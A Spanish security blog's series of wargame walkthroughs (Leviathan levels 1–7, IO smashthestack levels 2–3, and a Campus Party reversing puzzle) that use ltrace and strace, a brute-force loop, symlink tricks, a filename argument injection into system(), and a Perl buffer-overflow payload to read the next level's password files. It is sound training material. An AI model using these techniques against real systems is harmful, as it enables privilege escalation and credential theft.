systemadmin.es » wargame

Wargame leviathan: nivel 7

Jordi Prats — Sun, 02 Jan 2011 06:58:13 +0000

Para este último nivel veremos como hacer un ataque de fuerza bruta contra un binario que nos pide una contraseña corta:

Si ejecutamos el binario de este nivel sin argumentos nos indica que la contraseña es un conjunto de cuatro números:

level7@leviathan:~$ /wargame/sphinx
usage: /wargame/sphinx <4 digit code>

Si introducimos unos cualquieras nos indica el error:

level7@leviathan:~$ /wargame/sphinx 1234
Wrong

Mediante seq podemos generar todas las contraseñas posibles para ir probando con todas ellas. Con grep quitamos todos los Wrong que nos van a ir saliendo:

level7@leviathan:~$ for i in $(seq -w 0 9999); do /wargame/sphinx $i | grep -v Wrong; done
sh-3.1$ cat /home/level8/.passwd
sh-3.1$ FsnC0xl7

Para ver cual era la contraseña podemos verlo con un ps:

sh-3.1$ ps -u level8 -o command
sh-3.1$ COMMAND
/wargame/sphinx 7123
/bin/sh
ps -u level8 -o command

Al entrar en el nivel 8 con la contraseña que hemos descubierto (FsnC0xl7 encontramos el CONGRATULATIONS que nos fa el string que finaliza el wargame:

level8@leviathan:~$ cat CONGRATULATIONS
Well Done, you seem to have used *nix system before, now try something more serious. Your completion string is "Unix is easy!!!".

Otros niveles de este wargame:

Tags: wargame

Relacionados

Wargame leviathan: nivel 6

Jordi Prats — Sat, 01 Jan 2011 08:17:51 +0000

En este nivel veremos como engañar a un binario que genera una cadena que ejecuta de forma dinámica pero poco segura:

Nos encontramos en este nivel con el siguiente binario:

level6@leviathan:~$ /wargame/printfile
*** File Printer ***
Usage: /wargame/printfile filename

Si le damos un fichero nos lo muestra por pantalla:

level6@leviathan:~$ echo hola > /tmp/fichero
level6@leviathan:~$ /wargame/printfile /tmp/fichero
hola

Pero si lo hacemos con un link veremos que no lo muestra:

level6@leviathan:~$ ln -s /home/level7/.passwd /tmp/lolnext
level6@leviathan:~$ /wargame/printfile /tmp/lolnext
You cant have that file...

Mediante un ltrace podemos mirar que hace:

level6@leviathan:~$ ltrace /wargame/printfile /tmp/lolnext
__libc_start_main(0x8048424, 2, 0xbffffac4, 0x8048570, 0x8048520 
access("/tmp/lolnext", 0)                                                                                                      = -1
puts("You cant have that file..."You cant have that file...
)                                                                                             = 27
+++ exited (status 1) +++
level6@leviathan:~$ ltrace /wargame/printfile /tmp/fichero
__libc_start_main(0x8048424, 2, 0xbffffac4, 0x8048570, 0x8048520 
access("/tmp/fichero", 0)                                                                                                      = 0
snprintf("/bin/cat /tmp/fichero", 511, "/bin/cat %s", "/tmp/fichero")                                                          = 21
system("/bin/cat /tmp/fichero"hola
 
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                                                         = 0
+++ exited (status 0) +++

Mediante la llamada access comprueba que tengamos privilegios suficientes sobre el fichero destino:

access("/tmp/fichero", 0)

En caso que los tengamos genera la cadena a ejecutar con snprintf:

snprintf("/bin/cat /tmp/fichero", 511, "/bin/cat %s", "/tmp/fichero")

Por lo tanto, como que el cat admite varios parámetros simplemente creamos un fichero con un espacio que tenga permisos pero que la primera parte del nombre de fichero (la parte de antes del espacio) sea un link al fichero de password del siguiente nivel:

level6@leviathan:~$ ln -s /home/level7/.passwd /tmp/aaa
level6@leviathan:~$ echo hola /tmp/aaa\ bbb

Al ejecutar el binario con el fichero con espacio el cat que se ejecuta es:

cat aaa bbb

Por lo que hace el cat de los ficheros aaa y bbb, pero el access comprueba los permisos del fichero llamado “aaa bbb“:

level6@leviathan:~$ /wargame/printfile /tmp/aaa\ bbb
X98ZdPfp
/bin/cat: bbb: Permission denied

Otros niveles de este wargame:

Tags: ltrace, wargame

Relacionados

Wargame leviathan: nivel 5

Jordi Prats — Fri, 31 Dec 2010 06:04:21 +0000

En este nivel del wargame leviathan veremos como traducir la contraseña de binario a ASCII:

Al entrar nos encontramos un directorio llamado .Trash:

level5@leviathan:~$ ls -la
total 28
drwx------  3 level5 level5 4096 2008-03-26 02:41 .
drwxr-xr-x 10 root   root   4096 2008-03-26 01:55 ..
-rw-r--r--  1 root   root      0 2008-03-26 02:09 .bash_history
-rw-r--r--  1 root   root    220 2008-03-26 01:54 .bash_logout
-rw-r--r--  1 root   root    414 2008-03-26 01:54 .bash_profile
-rw-r--r--  1 root   root   2227 2008-03-26 01:54 .bashrc
-rw-r--r--  1 root   root      9 2008-03-26 01:55 .passwd
drwxr-xr-x  2 root   level5 4096 2008-03-26 02:41 .Trash

En ficho directorio tenemos un fichero bin:

level5@leviathan:~/.Trash$ ls -la
total 16
drwxr-xr-x 2 root   level5 4096 2008-03-26 02:41 .
drwx------ 3 level5 level5 4096 2008-03-26 02:41 ..
-r-sr-s--- 1 level6 level5 7519 2008-03-26 02:34 bin

Al ejecutarlo nos da una cadena en binario:

level5@leviathan:~/.Trash$ ./bin
00110110 01101100 01111001 01110110 01001100 01011000 01000011 01000001 00001010

Podemos traducirlo a mano, pero combinando sed y perl podemos hacerlo igual para obtener la contraseña del siguiente nivel:

level5@leviathan:~/.Trash$ perl -e "$(./bin | sed -e 's/ \([01]\)/ print#chr(0b\1/g' -e 's/ /); /g' -e 's/^/print chr(0b/' -e 's/#/ /g')"
6lyvLXCA

Otros niveles de este wargame:

Tags: wargame

Relacionados

Wargame leviathan: nivel 4

Jordi Prats — Thu, 30 Dec 2010 06:57:50 +0000

En este nivel volvemos a tener que ver como encontrar la cadena con la que comparamos un string d’entrada:

Primero ejecutamos el binario del nivel para ver que ocurre:

level4@leviathan:~$ /wargame/level4
Enter the password> aaa
bzzzzzzzzap. WRONG

A continuación con ltrace vemos que el binario cuando el password es incorrecto:

level4@leviathan:~$ ltrace /wargame/level4
__libc_start_main(0x8048523, 1, 0xbffffae4, 0x8048650, 0x8048600 
strcmp("h0no33", "kakaka")                                                                                                     = -1
printf("Enter the password> ")                                                                                                 = 20
fgets(Enter the password> aaa
"aaa\n", 256, 0xb7fe1300)                                                                                                = 0xbffff8fd
strcmp("aaa\n", "snlprintf\n")                                                                                                 = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
)                                                                                                     = 19
+++ exited (status 0) +++

La parte interesante es:

strcmp("aaa\n", "snlprintf\n")

Así la contraseña esta un poco más disimulada si usamos el comando strings, pero con ltrace dicha ofuscación no sirve de nada:

level4@leviathan:~$ /wargame/level4
Enter the password> snlprintf
[You've got shell]!
sh-3.1$ cat /home/level5/.passwd
Dx08I4vD

Otros niveles de este wargame:

Tags: ltrace, wargame

Relacionados

Wargame leviathan: nivel 3

Jordi Prats — Wed, 29 Dec 2010 06:58:32 +0000

En este nivel vamos a ver como engañar a un binario para que lea el fichero que nos interese.

Al entrar al nivel vemos el fichero /wargame/prog que nos devuelve:

level3@leviathan:~$ /wargame/prog
Cannot find /tmp/file.log

Si creamos un fichero llamado /tmp/file.log nos lo muestra por pantalla:

level3@leviathan:~$ echo hola > /tmp/file.log
level3@leviathan:~$ /wargame/prog
hola

Por lo tanto con un simple link al fichero que nos interesa obtenemos la contraseña del siguiente nivel:

level3@leviathan:~$ ln -s /home/level4/.passwd /tmp/file.log
level3@leviathan:~$ /wargame/prog
R0gBtSP5

Otros niveles de este wargame:

Tags: wargame

Relacionados

Wargame leviathan: nivel 2

Jordi Prats — Tue, 28 Dec 2010 07:33:41 +0000

En el segundo nivel del wargame leviathan ya tenemos que mirar dentro de /wargame para encontrar el binario a ejecutar:

Con un simple ls vemos que tenemos permisos sobre el llamado check:

level2@leviathan:/wargame$ ls -la
total 48
drwxr-xr-x  2 root   root   4096 2008-03-26 02:41 .
drwxr-xr-x 22 root   root   4096 2008-03-26 02:54 ..
-r-sr-s---  1 level3 level2 7738 2008-03-26 02:31 check
-r-sr-s---  1 level5 level4 8090 2008-03-26 02:33 level4
-r-sr-s---  1 level7 level6 7696 2008-03-26 02:34 printfile
-r-sr-s---  1 level4 level3 8051 2008-03-26 02:51 prog
-r-sr-s---  1 level8 level7 7661 2008-03-26 02:35 sphinx

Si lo ejecutamos vemos que nos pide una contraseña:

level2@leviathan:/wargame$ ./check
password: aa
Wrong password, Good Bye ...

Para ver con que esta comparando lo que le introducimos podemos hacerlo mediante un ltrace o bien mirando las cadenas que contiene el binario mediante el comando strings. En este caso probaremos con ltrace:

level2@leviathan:/wargame$ ltrace ./check
__libc_start_main(0x8048464, 1, 0xbffffad4, 0x8048580, 0x8048530 
printf("password: ")                                                                                                           = 10
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4password: aa
)                                                              = 97
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4)                                                              = 97
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4)                                                              = 10
strcmp("aa\n", "sex")                                                                                                          = -1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
)                                                                                           = 29
+++ exited (status 29) +++

La parte que nos interesa es la función strcmp:

strcmp("aa\n", "sex")

Por lo tanto, probamos de volver a ejecutarlo con dicha contraseña para obtener una shell:

level2@leviathan:/wargame$ ./check
password: sex
sh-3.1$ id
uid=1001(level2) gid=1001(level2) euid=1002(level3) groups=1001(level2)

Con dicha shell simplemente hacemos un cat del fichero .passwd de la home del level3 para obtener la contraseña:

sh-3.1$ cat /home/level3/.passwd
oc7vaCOg

Otros niveles de este wargame:

Tags: ltrace, wargame

Relacionados

Wargame leviathan: nivel 1

Jordi Prats — Mon, 27 Dec 2010 08:02:15 +0000

El wargame leviathan de intruded.net es bastante sencillo de hacer para todos los que les guste los sistemas UNIX y tengan un rato libre. Vamos a ver como solucionarlo:

Nos conectamos la servidor por ssh tal como indica la web y obtenemos las instrucciones basicas:

ssh -l level1 leviathan.intruded.net -p 10101
*************************************************
*    Welcome to Intruded.net Wargame Server     *
*                                               *
*       * You are playing "Leviathan"           *
*       * Most levels can be found in /wargame  *
*       * Login: level1:leviathan               *
*       * Support: irc.intruded.net #wargames   *
*                                               *
*                                               *
*       ! Server is restarted every 12 hours    *
*       ! Server is cleaned every reboot        *
*       ! /tmp direcotry is writable            *
*                                               *
*                                               *
*************************************************
level1@leviathan.intruded.net's password:

Miramos todos los archivos y nos llama la atención el directorio .backup:

level1@leviathan:~$ ls -la
total 28
drwx------  3 level1 level1 4096 2008-03-26 02:12 .
drwxr-xr-x 10 root   root   4096 2008-03-26 01:55 ..
drwxr-xr-x  2 root   level1 4096 2008-03-26 02:22 .backup
-rw-r--r--  1 root   root      0 2008-03-26 02:08 .bash_history
-rw-r--r--  1 root   root    220 2008-03-25 22:24 .bash_logout
-rw-r--r--  1 root   root    414 2008-03-25 22:24 .bash_profile
-rw-r--r--  1 root   root   2227 2008-03-25 22:24 .bashrc
-rw-r--r--  1 root   root     10 2008-03-26 01:53 .passwd

En él se encuentra un conjunto de bookmarks:

level1@leviathan:~$ ls .backup/
bookmarks.html

Con un grep podemos buscar alguna palabra clave interesante como “pass“:

level1@leviathan:~$ cat .backup/bookmarks.html  | grep pass
password to level2

Si introducimos en el navegador dicha URL obtendremos la contraseña del nivel 2:

vFPMNdI0

Otros niveles de este wargame:

Tags: wargame

Relacionados

cripto02 de la Campus Party Valencia 2010

Jordi Prats — Tue, 31 Aug 2010 06:14:47 +0000

A principios de agosto se publicaron unos niveles de la Campus Party de Valencia 2010 que no se resolvieron a tiempo:

binary03: Para binarios para Windows de Rubén Santarmarta
cripto02: Para binario para Linux de Javi Moreno

Por lo que me miré el fichero para Linux, sin poder llegar a resolverlo.

Vemos que es un ELF de 32 bits:

$ file cripto02
cripto02: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped

Pero no podemos sacar nada directamente con objdump:

$ objdump -d ./cripto02

./cripto02:     file format elf32-i386

Ni con gdb:

$ gdb -q ./cripto02
Reading symbols from /home/jprats/cripto02...
warning: no loadable sections found in added symbol-file /home/jprats/cripto02
(no debugging symbols found)...done.
(gdb)

Ni con readelf:

$ readelf -a cripto02
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 03 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - Linux
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0xc3a270
  Start of program headers:          52 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         2
  Size of section headers:           40 (bytes)
  Number of section headers:         0
  Section header string table index: 0

There are no sections in this file.

There are no sections in this file.

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x00c01000 0x00c01000 0x39a7c 0x39a7c R E 0x1000
  LOAD           0x000328 0x080cc328 0x080cc328 0x00000 0x00000 RW  0x1000

There is no dynamic section in this file.

There are no relocations in this file.

There are no unwind sections in this file.

No version information found in this file.

Tal como indican:

Low level reversing might not be the fastest way to solve this one although it can help.

Mas vale concentrarse en otra cosa, por lo que podemos intentar ver algo con strace:

$ strace -s 128 -fF ./cripto02
execve("./cripto02", ["./cripto02"], [/* 58 vars */]) = 0
old_mmap(0xc3b000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0xbffff1a80808e020) = 0xc3b000
readlink("/proc/self/exe", "/home/jprats/cripto02", 4096) = 21
old_mmap(0x8048000, 525507, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0xbfffd6d00808e020) = 0x8048000
mprotect(0x8048000, 525504, PROT_READ|PROT_EXEC) = 0
old_mmap(0x80c9000, 5931, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0xbfffd6d00808e020) = 0x80c9000
mprotect(0x80c9000, 5928, PROT_READ|PROT_WRITE) = 0
old_mmap(0x80cb000, 4904, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0xbfffd6d00808e020) = 0x80cb000
brk(0x80cd000)                          = 0x80cd000
munmap(0xc01000, 241664)                = 0
uname({sys="Linux", node="croscat.systemadmin.es", ...}) = 0
brk(0)                                  = 0x80cd000
brk(0x80cdcd0)                          = 0x80cdcd0
set_thread_area({entry_number:-1 -> 6, base_addr:0x80cd830, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
brk(0x80eecd0)                          = 0x80eecd0
brk(0x80ef000)                          = 0x80ef000
clone(Process 8025 attached
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x80cd898) = 8025
[pid  8025] clone( 
[pid  8024] fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 20), ...}) = 0
Process 8026 attached
[pid  8025] <... clone resumed> child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x80cd898) = 8026
[pid  8024] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x111000
[pid  8024] write(1, "If you still want to try: \n", 27If you still want to try:
) = 27
[pid  8024] fstat64(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 20), ...}) = 0
[pid  8024] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x112000
[pid  8024] read(0,  
[pid  8025] clone( 
[pid  8026] exit_group(0)               = ?
Process 8026 detached
Process 8027 attached (waiting for parent)
Process 8027 resumed (parent 8025 ready)
[pid  8025] <... clone resumed> child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x80cd898) = 8027
[pid  8025] --- SIGCHLD (Child exited) @ 0 (0) ---
[pid  8027] getuid32()                  = 500
[pid  8025] exit_group(0)               = ?
Process 8025 detached
[pid  8027] exit_group(0)               = ?
Process 8027 detached
<... read resumed> 0x112000, 1024)      = ? ERESTARTSYS (To be restarted)
--- SIGCHLD (Child exited) @ 0 (0) ---
read(0, sasa
"sasa\n", 1024)                 = 5
write(1, "\n", 1
)                       = 1
write(1, "Not the password\n", 17Not the password
)      = 17
exit_group(0)                           = ?
[jprats@croscat ~]$

Entre las llamadas podemos ver un getuid32():

[pid  8027] getuid32()                  = 500

Por lo que podemos ver que ocurre si tenemos otro id, por probar podemos ver que ocurre con uid=0 (ejecutar como root):

# strace -s 128 -Ff ./cripto02
execve("./cripto02", ["./cripto02"], [/* 21 vars */]) = 0
[ Process PID=22711 runs in 32 bit mode. ]
old_mmap(0xc3b000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0xc3b000) = 0xc3b000
readlink("/proc/self/exe", "/home/jprats/cripto02", 4096) = 21
old_mmap(0x8048000, 525507, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x8048000
mprotect(0x8048000, 525504, PROT_READ|PROT_EXEC) = 0
old_mmap(0x80c9000, 5931, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x80000) = 0x80c9000
mprotect(0x80c9000, 5928, PROT_READ|PROT_WRITE) = 0
old_mmap(0x80cb000, 4904, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x80cb000
brk(0x80cd000)                          = 0x80cd000
munmap(0xc01000, 241664)                = 0
uname({sys="Linux", node="stargate.systemadmin.es", ...}) = 0
brk(0)                                  = 0x80cd000
brk(0x80cdcd0)                          = 0x80cdcd0
set_thread_area(0xffcbaa3c)             = 0
brk(0x80eecd0)                          = 0x80eecd0
brk(0x80ef000)                          = 0x80ef000
clone(Process 22712 attached (waiting for parent)
Process 22712 resumed (parent 22711 ready)
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0) = 22712
[pid 22712] clone( 
[pid 22711] fstat64(1, Process 22713 attached
 
[pid 22712] <... clone resumed> child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0) = 22713
[pid 22711] <... fstat64 resumed> {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
[pid 22712] clone( 
[pid 22711] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0 
[pid 22713] exit_group(0)               = ?
Process 22713 detached
Process 22715 attached
[pid 22712] <... clone resumed> child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0) = 22715
[pid 22711] <... mmap2 resumed> )       = 0xfffffffff7f8e000
[pid 22712] --- SIGCHLD (Child exited) @ 0 (0) ---
[pid 22711] write(1, "If you still want to try: \n", 27If you still want to try:
 
[pid 22715] getuid32( 
[pid 22712] exit_group(0)               = ?
Process 22712 detached
[pid 22711] <... write resumed> )       = 27
[pid 22715] <... getuid32 resumed> )    = 0
[pid 22711] --- SIGCHLD (Child exited) @ 0 (0) ---
[pid 22715] open("/dev/console", O_RDONLY|O_NOCTTY 
[pid 22711] fstat64(0,  
[pid 22715] <... open resumed> )        = 3
[pid 22711] <... fstat64 resumed> {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
[pid 22715] rt_sigaction(SIGINT, {0x1400000008048258, [], SA_STACK|0x4a2b8},  
[pid 22711] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0 
[pid 22715] <... rt_sigaction resumed> {SIG_DFL}, 8) = 0
[pid 22711] <... mmap2 resumed> )       = 0xfffffffff7f8d000
[pid 22715] rt_sigaction(SIGTERM, {0x1400000008048258, [], SA_STACK|0x4a2b8},  
[pid 22711] read(0,  
[pid 22715] <... rt_sigaction resumed> {SIG_DFL}, 8) = 0
[pid 22715] rt_sigaction(SIGQUIT, {0x1400000008048258, [], SA_STACK|0x4a2b8}, {SIG_DFL},  = 0
[pid 22715] rt_sigaction(SIGTSTP, {0x1400000008048258, [], SA_STACK|0x4a2b8}, {SIG_DFL},  = 0
[pid 22715] ioctl(3, KDSETLED, 0)       = 0
[pid 22715] nanosleep({0, 80000000}, NULL) = 0
[pid 22715] ioctl(3, KDSETLED, 0x2)     = 0
[pid 22715] nanosleep({0, 80000000}, NULL) = 0
[pid 22715] ioctl(3, KDSETLED, 0)       = 0
[pid 22715] nanosleep({0, 80000000}, NULL) = 0
[pid 22715] ioctl(3, KDSETLED, 0x2)     = 0
[pid 22715] nanosleep({0, 80000000}, NULL) = 0
[pid 22715] ioctl(3, KDSETLED, 0)       = 0
[pid 22715] nanosleep({0, 80000000}, NULL) = 0
[pid 22715] ioctl(3, KDSETLED, 0x2)     = 0
[pid 22715] nanosleep({0, 300000000}, NULL) = 0
[pid 22715] ioctl(3, KDSETLED, 0)       = 0
[pid 22715] nanosleep({0, 80000000}, NULL) = 0
[pid 22715] ioctl(3, KDSETLED, 0x2)     = 0
[pid 22715] nanosleep({0, 80000000}, NULL) = 0
[pid 22715] ioctl(3, KDSETLED, 0)       = 0
[pid 22715] nanosleep({1, 200000000}, C 
Process 22715 detached

Exiting!

Apreciamos como crea un proceso que hace parpadear (los ioctl con los nanosleep) el numlock, con la ayuda del OpenOffice lo podemos dibujar los tiempos de espera de la llamada nanosleep:

tiempo-nanosleeps

Podemos apreciar que existe una serie que se repite tres veces, por lo que de las 267 muestras nos quedamos con 89:

serie cripto02

Llegados a este punto pensé en alguna codificación bipolar por el hecho de tener tres valores posibles, descartando Morse por este mismo motivo (este es el problema de mi razonamiento). También consideré el cambio de estado del LED:

Con el cambio de estado del LED

Pero no tenia sentido por tener 89 nuestras, un numero primo:

$ for i in $(seq 1 89); do echo "89/$i" | bc -l; done | less | grep "\.00"
89.00000000000000000000
1.00000000000000000000

Con 88 tenia más sentido por ser divisible por 8, con lo que serían 11 caracteres:

$ echo "88/8" | bc -l
11.00000000000000000000

Por lo que imaginé que tendría algun sentido con la diferéncia entre el valor con el anterior:

Restando el valor actual del anterior

Pero tampoco apareció nada, por lo que consulté con un amigo y tampoco llegué a ningún lado: solo quedaba reconocer la derrota:

EPIC FAIL

Ahora, han publicado la solución de este puzzle por lo que me he lanzado a verla: La solución que pasaba por el Morse, que había descartado erróneamente por los tres estados, conjuntamente con el estado del LED según estas reglas que he visto en la solución:

Si el LED esta apagado y la pausa es de 1,2 segunos es un separador
Si el LED esta encendido y la pausa es de 0,08 segundos es un punto
Si el LED esta encendido y la pausa es de 0,3 es una raya

Además me he dado cuenta que vi mal los ceros, por lo que los gráficos están mal:

5832  nanosleep({0, 300000000}, NULL)   = 0
5832  nanosleep({0, 80000000}, NULL)    = 0

Traduciendo del morse según estas reglas se obtiene FUNKEYBOARDMORSE, el cual pasamos al programa tres veces seguidas obtenemos lo siguiente:

$ ./cripto02 FUNKEYBOARDMORSEFUNKEYBOARDMORSEFUNKEYBOARDMORSE
\x27\x68\x7f\x7b\x73\x75\x21\x72\x70\x60\x7c\x7e\x63\x3f\x6e\x73\x76\x62\x7b\x67\x36\x64\x72\x63\x61\x26\x2c\x28\x6f\x21\x3c\x29\x33\x21\x27\x24\x2b\x79\x2b\x3c\x61\x2a\x68\x34\x63\x28\x7f\x32

El cual tiene un tamaño de 48 bytes:

$ perl -e 'print "\x27\x68\x7f\x7b\x73\x75\x21\x72\x70\x60\x7c\x7e\x63\x3f\x6e\x73\x76\x62\x7b\x67\x36\x64\x72\x63\x61\x26\x2c\x28\x6f\x21\x3c\x29\x33\x21\x27\x24\x2b\x79\x2b\x3c\x61\x2a\x68\x34\x63\x28\x7f\x32";' |wc -c
48

Igual que la cadena que le hemos pasado al programa:

$ echo -n "FUNKEYBOARDMORSEFUNKEYBOARDMORSEFUNKEYBOARDMORSE" | wc -c
48

Luego se debe descifrar con un XOR, como se muestra en la solución, se podría usar algo así:

chr(ord(c)^ord(code[i]))

Con lo que obtendríamos:

a=106,c=1283,m=6075,s=0, the solution is x,y,z,w

De aquí se supone que deberíamos saber (o encontrar mediante google) que estos valores de inicialización son de un generador pseudo-aleatorio llamado Linear Congruential Generator que se define según esta formula:

Linear Congruential Generator

Nos indica que la semilla es cero (s=0), por lo que:

x = (106*0)+1283%6075 = 1283
y = (106*1283)+1283%6075 = 3631
z = (106*3631)+1283%6075 = 3444
w = (106*3444)+1283%6075 = 1847

La solución es este vector:

(x,y,z,w)=(1283,3631,3444,1847)

Otra vez será y felicidades a los que lo consiguieron!

Tags: strace, wargame

Relacionados

IO wargame (smash the stack) level 3

Jordi Prats — Tue, 10 Aug 2010 07:42:08 +0000

En este tercer nivel tenemos que modificar el valor de un puntero a función con la dirección de otra función poder obtener la shell. Podemos conseguir esto mediante un buffer overflow:

El código del nivel es el siguiente:

#include 
#include 
#include 

int good(int addr) {
	printf("Address of hmm: %p\n", addr);
}

int hmm() {
	printf("Win.\n");
	execl("/bin/sh", "sh", NULL);
}

extern char **environ;

int main(int argc, char **argv) {

	int i, limit;

	for(i = 0; environ[i] != NULL; i++)
	memset(environ[i], 0x00, strlen(environ[i]));

	int (*fptr)(int) = good;
	char buf[32];

	if(strlen(argv[1]) <= 40) limit = strlen(argv[1]);

	for(i = 0; i <= limit; i++) {
		buf[i] = argv[1][i];
		if(i < 36) buf[i] = 0x41;
	}

	int (*hmmptr)(int) = hmm;

	(*fptr)((int)hmmptr);

	return 0;

}

Podemos probar de ejecutar el nivel para obtener la dirección de la función hmm que nos da la shell:

level3@io:~$ /levels/level03 aaa
Address of hmm: 0x804847f

Tal como hemos visto otras veces en el wargame narnia podemos usar perl para rellenar el buffer y luego dar la nueva dirección del puntero a función hmm:

level3@io:/levels$ ./level03 $(perl -e 'print "a"x32; print "\x7f\x84\x04\x08"x2;')
Win.
sh-3.2$ cat ~level4/.pass
iazki1ud

Ya podemos pasar al siguiente nivel

La música nos guía

El listado de soluciones de otros niveles del wargame de IO de smash the stack es el siguiente:

level 1
level 2
level 3
level 4

Tags: Seguridad, wargame

Relacionados

IO wargame (smash the stack) level 2

Jordi Prats — Tue, 10 Aug 2010 07:17:12 +0000

En este nivel se nos propone una adivinanza basado en conocimientos que todos habremos obtenido en la universidad.

Vemos que al ejecutar el nivel nos dice lo siguiente:

level2@io:/levels$ ./level02
Append the 39th through 42nd numbers in the sequence as a string and feed it to this binary via argv[1]. 1, 2, 3, 5, 8, 13, 21...
The 4th through the 7th numbers would give you 581321

Nos da esta secuencia:

1, 2, 3, 5, 8, 13, 21...

Con un ejemplo de lo que sería del 4 al 7:

Y nos pide del 39 al 42. Primero deberemos saber que es la secuencia, si miramos los elementos del 4 al 7 vemos que es la secuencia de 5, 8, 13 y 21.

Tal como vemos en la secuencia inicial de ejemplo, cada elemento es la suma de los dos anteriores, siendo los dos iniciales dos unos. Se trata de la serie de Fibonacci.

Leonardo Fibonacci

Podríamos hacer un programa para calcular la posición N de la serie de Fibonacci, pero como eso ya lo ice en la universidad para la práctica de una amiga. Como no esta bien repetir las cosas, en su lugar podemos usar el OpenOffice:

Serie de Fibonacci

Simplemente juntamos las posiciones que nos pide para obtener la shell del siguiente nivel:

level2@io:/levels$ ./level02 102334155165580141267914296433494437
Win.
sh-3.2$ cat ~level3/.pass
okviql9o

El listado de soluciones de otros niveles del wargame de IO de smash the stack es el siguiente:

level 1
level 2
level 3
level 4

Tags: Seguridad, wargame